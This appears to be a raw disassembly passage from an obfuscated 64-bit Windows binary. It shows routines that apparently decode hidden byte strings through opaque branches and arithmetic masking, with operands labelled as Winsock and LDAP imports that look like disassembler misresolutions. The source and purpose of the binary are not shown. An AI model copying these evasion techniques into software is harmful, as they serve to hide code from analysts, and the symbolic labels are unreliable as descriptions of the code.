cmp r8, rax
je 0x140086c01
lea rax, [r9 + 8]
cmp r8, rax
je 0x140086baf
cmp r9, rdi
ja 0x140086db1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400860d3
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086110
je 0x140086b8e
inc rax
cmp r8, rax
je 0x140086b65
lea rax, [r9 + 3]
cmp r8, rax
je 0x140086b32
lea rax, [r9 + 4]
cmp r8, rax
je 0x140086b0a
lea rax, [r9 + 8]
cmp r8, rax
je 0x140086ad1
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140086793
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x140086770
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008673f
lea rax, [r9 + 8]
cmp r8, rax
je 0x140086716
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140086702
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400866df
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400866a7
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140086684
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14008665c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140086628
lea rax, [r9 + 4]
cmp r8, rax
je 0x140086120
lea r8, [r9 + 0x20]
lea r9, [r8 + 2]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140086d89
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140086d66
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008631f
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400862fc
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400862de
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400865c2
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140086554
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140086500
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400864d2
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140086120
lea r8, [r9 + 2]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140086499
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140086476
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008644e
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14008641b
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400863f3
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400863d0
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400863a2
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140086376
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140086351
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140086120
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0xa]
jmp 0x140086120
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 2
add r11b, dl
jmp 0x140086110
movabs rcx, 0xbb11add86bf3b25a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
jmp 0x1400860a5
movabs rdx, 0x376760901fa1a846
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0xc1d526a42629050a
jmp 0x14008603e
movabs rdx, 0x33e15bb90aeb4e90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140086bce
movabs rcx, 0xb0370e70be99447c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
inc r9
dec rdi
inc rdi
jmp 0x140086022
movabs rdx, 0x2c8cc12872473a68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140086022
movabs rcx, 0xa8e273e025f53054
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x140086c4d
movabs rdx, 0x25382697d9a32640
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086c76
movabs rcx, 0xa18dd94f8d511c2c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140086022
movabs rdx, 0x1de38c0740ff1218
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086cb3
movabs rcx, 0x9a393ebef4ad0804
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x140086ce4
movabs rdx, 0x168ef176a85afdf0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xe38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086022
movabs rcx, 0x4d653041e98de4be
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
mov byte [rbp + rdi + 0xe38], r11b
inc rdi
jmp 0x140086022
movabs rdx, 0xc9bae2f99d3bdaaa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x200
jb 0x1400864f0
movabs rcx, 0x3aed6567345801fc
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140086bd1
movabs rcx, 0x461095b150e9d096
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
cmp r8, 1
jae 0x140086a72
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400869a4
movabs rdx, 0x99f0addc8575a748
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xe38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086022
movabs rdx, 0xc26648690497c682
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x140086aa1
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400868c7
movabs rdx, 0x2fca351d17c63362
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086572
movabs rcx, 0x66e904cac8307aec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
movzx eax, byte [rbp + rdi + 0xe38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086022
movabs rdx, 0xe33eb7827bde70d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086ce4
movabs rcx, 0x5f946a3a2f8c66c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x140086cb3
movabs rdx, 0xdbea1cf1e33a5cb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140086022
movabs rcx, 0x583fcfa996e8529c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x140086c76
movabs rdx, 0xd49582614a964888
mov ecx, 0x24
jmp 0x140086c39
movabs rcx, 0x50eb3518fe443e74
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
dec rdi
inc rdi
jmp 0x140086022
movabs rdx, 0xcd40e7d0b1f23460
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140086022
movabs rcx, 0x49969a8865a02a4c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x140086bd1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400867bf
movabs rcx, 0xc1d526a42629050a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
jmp 0x1400865e5
jne 0x1400867f5
movabs rcx, 0xccf856ee42bad3a4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7c
movzx eax, byte [rbp + rdi + 0xe38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086022
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140086826
movabs rdx, 0xd44cf17edb5ee7cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086cb3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008685d
movabs rdx, 0xe2f626a00ca7101c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140086022
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140086892
movabs rcx, 0x66a073e858f91a30
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
inc r9
dec rdi
inc rdi
jmp 0x140086022
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400865e5
movabs rdx, 0xea4ac130a54b2444
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086bd1
jne 0x1400868ec
movabs rcx, 0xb374826564183d76
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
jmp 0x140086bd1
inc rax
cmp r8, rax
jne 0x14008691d
movabs rcx, 0xbac91cf5fcbc519e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x52
dec rdi
inc rdi
jmp 0x140086022
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008695e
movabs rdx, 0x45c804cee1b26fda
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140086022
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140086572
movabs rdx, 0xd0c6eca7c6a88e16
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xe38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086022
inc rax
cmp r8, rax
jne 0x1400869cf
movabs rcx, 0xa145486d1e19bb70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x140086cb3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140086a10
movabs rdx, 0x24ef95b56a6bc584
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140086022
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140086a42
movabs rcx, 0xafee7d8e4f61e3c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140086022
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140086523
movabs rcx, 0xb743181ee805f7e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x140086bd1
movabs rdx, 0xbe97b2af80aa0c10
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xe38]
sub r11b, al
sub r11b, 0x70
add r11b, bl
add r11b, dl
jmp 0x140086c4d
movabs rdx, 0x4241fff7ccfc1624
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xe38]
add r11b, dl
add r11b, bl
jmp 0x140086cb3
movabs rdx, 0x8778e301d03fc486
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xe38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086022
movabs rdx, 0x80244871379bb05e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140086cb3
movabs rcx, 0xfc79fb28eb49a64a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 6
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140086022
movabs rcx, 0x717b13500653880e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
dec rdi
inc rdi
jmp 0x140086022
movabs rdx, 0x6a2678bf6daf73e6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4a
jmp 0x140086bce
movabs rdx, 0x62d1de2ed50b5fbe
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x32
add r11b, dl
movabs rcx, 0xfcc28c0b5a810706
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x2a
add bl, cl
mov byte [rbp + rdi + 0xe38], bl
inc r9
dec rdi
inc rdi
jmp 0x140086022
movabs rcx, 0x5b7d439e3c674b96
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
dec rdi
inc rdi
jmp 0x140086022
movabs rdx, 0xd7d2f655f0154182
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x806cd953a6d3111a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xe38], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140086022
mov rbx, r10
movabs rcx, 0x4cd40e7d0b1f2346
add rcx, rdi
and r10b, cl
mov eax, listen
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movabs rdx, 0x417269bf3251b2e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x42
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xe38], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0xc5ec4d40194e2038
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xe38], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xe38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086022
movabs rdx, 0x457f73ec727b0f1e
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xe38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086022
movabs rcx, 0xb3bd1347d34f9e32
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x14008601e
movabs rdx, 0x3012c5ff86fd941e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008600a
lea rcx, [rbp + 0x14f70f0]
jmp 0x140086dca
lea rcx, [rbp + 0xf875fa]
jmp 0x140086dca
lea rcx, [rbp + 0xe38]
mov dword [rbp + 0x1048], 0x64
mov dword [rbp + 0x1000], 0xffffff9c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x1048]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1000]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xe60], 0xf5
mov byte [rbp + 0xe61], 0xb0
mov byte [rbp + 0xe62], 0xfa
mov byte [rbp + 0xe63], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xe64], 0x58
mov byte [rbp + 0xe65], 0x58
mov byte [rbp + 0xe66], Ordinal_79
mov byte [rbp + 0xe67], 0x54
mov byte [rbp + 0xe68], 0xe0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe69], xmm0
mov qword [rbp + 0xe79], rax
mov word [rbp + 0xe81], ax
movabs rsi, 0x1759ae5ded6224d4
movabs r14, 0xd5ceeb275a1c54fc
movabs r15, 0x89f94a3a6452f8ac
movabs r13, 0xf88ea535ba267170
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rdx, 0x8fac50129da6f47c
movabs rcx, 0x9285d2feba50f264
cmp rdi, 0x23
jae 0x140087818
movzx ebx, byte [rbp + rdi + 0xe60]
nop dword [rax + rax]
cmp r8, rdi
ja 0x14008780f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140086f15
lea rcx, [rdi + r14]
mov eax, ebx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rbx
add r10, rcx
add r10b, 0x1c
movabs rcx, 0x9285d2feba50f264
jmp 0x140086f4e
je 0x140087782
inc rax
cmp r8, rax
je 0x140087720
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400876bc
lea rax, [r9 + 7]
cmp r8, rax
je 0x140087693
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008763c
nop
cmp r9, rdi
ja 0x140087806
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x140086f7f
lea rcx, [rdi + r15]
movzx eax, bl
and al, cl
mov r10d, Ordinal_41
sub r10b, al
add r10b, r10b
add r10b, bl
add r10b, cl
jmp 0x140086fc0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008761b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400875f2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400875c8
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400875a0
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008758d
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008725b
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x140087247
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140087216
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400871f2
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400871ca
lea rax, [r9 + 4]
cmp r8, rax
je 0x140086fd0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x28]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400877de
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400877bb
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008709c
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140087173
lea r8, [r9 + 5]
lea r9, [r8 + 1]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008713f
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140087118
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400870df
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400870bb
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140086fd0
lea r8, [r9 + 0x10]
lea r9, [r8 + 6]
jmp 0x140086fd0
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140086fc0
lea rcx, [rdi + r13]
movzx eax, bl
and al, cl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x10
add r10b, cl
dec rdi
inc rdi
jmp 0x140086eb2
movabs rcx, 0xf5b522499d7c7388
add rcx, rdi
movzx eax, bl
and al, cl
mov r10d, Ordinal_41
sub r10b, al
add r10b, r10b
add r10b, bl
add r10b, cl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140086eb2
movabs rdx, 0x9e7975ac350b1f98
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x28
add r10b, dl
jmp 0x14008773e
movabs rcx, 0xf2db9f5d80d275a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x60
movzx eax, byte [rbp + rdi + 0xe60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086eb2
movabs rdx, 0x1a33314a0a0c22bc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x24
add r10b, dl
cmp r9, 0x400
jb 0x1400874f3
movabs rdx, 0x3071b1ade749dc68
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14008765f
movabs rdx, 0xe49c10c0f1808018
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140087557
movabs rdx, 0xe1c28dd4d4d68230
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x50
jmp 0x1400876dc
movabs rdx, 0x8a86e1376c652e40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x140086eb2
movabs rdx, 0xdee90ae8b82c8448
mov ecx, 4
jmp 0x14008764b
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400872fa
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x14008752d
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x140087353
movabs rdx, 0xf24e086078c0400c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x54
add r10b, dl
cmp r8, 5
jae 0x140087503
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x140087453
movabs rdx, 0x7c47529add1338b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 8
jmp 0x140087192
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140087337
movabs rcx, 0x13f29474c8a5f158
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x68
movzx eax, byte [rbp + rdi + 0xe60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086eb2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140087282
movabs rdx, 0x6e07c3fe4dc14330
jmp 0x1400871fc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140087380
movabs rdx, 0x9debdeaf2cf8ea04
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x1c
jmp 0x14008765c
inc rax
cmp r8, rax
jne 0x1400873b9
movabs rdx, 0x4989b4fde13193fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x140086eb2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400873e5
movabs rcx, 0x4c6337e9fddb91e4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x3c
jmp 0x140087708
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140087421
movabs rcx, 0xf8010e38b2143bdc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 4
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140086eb2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400872bf
movabs rdx, 0xa39ee487664ce5d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140087554
jne 0x140087471
movabs rdx, 0x27e528e9914be2b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
jmp 0x140087799
inc rax
cmp r8, rax
jne 0x1400874a1
movabs rdx, 0xd382ff3845848ca8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14008773e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400874d2
movabs rdx, 0xd65c8224622e8a90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140087708
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140087195
movabs rdx, 0x81fa587316673488
mov ecx, 0x24
jmp 0x1400876cb
mov byte [rbp + rdi + 0xe60], r10b
inc rdi
jmp 0x140086eb2
movabs rdx, 0xdc0f87fc9b828660
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rdi + 0xe60]
jmp 0x1400876d9
movabs rdx, 0x87ad5e4b4fbb3058
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, byte [rbp + rdi + 0xe60]
sub r10b, 0x68
add r10b, dl
movabs rdx, 0x5d7c4972a9d78554
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x4c
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xe60], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14008773e
lea rdx, [rdi + rcx]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
jmp 0x140087799
movabs rdx, 0xe6e7fcb00618486c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14008773e
lea rcx, [rdi + rdx]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x64
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140086eb2
movabs rcx, 0x8cd2cd2680fcf694
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0xc
dec rdi
inc rdi
jmp 0x140086eb2
movabs rdx, 0x35972089188ba2a4
add rdx, rdi
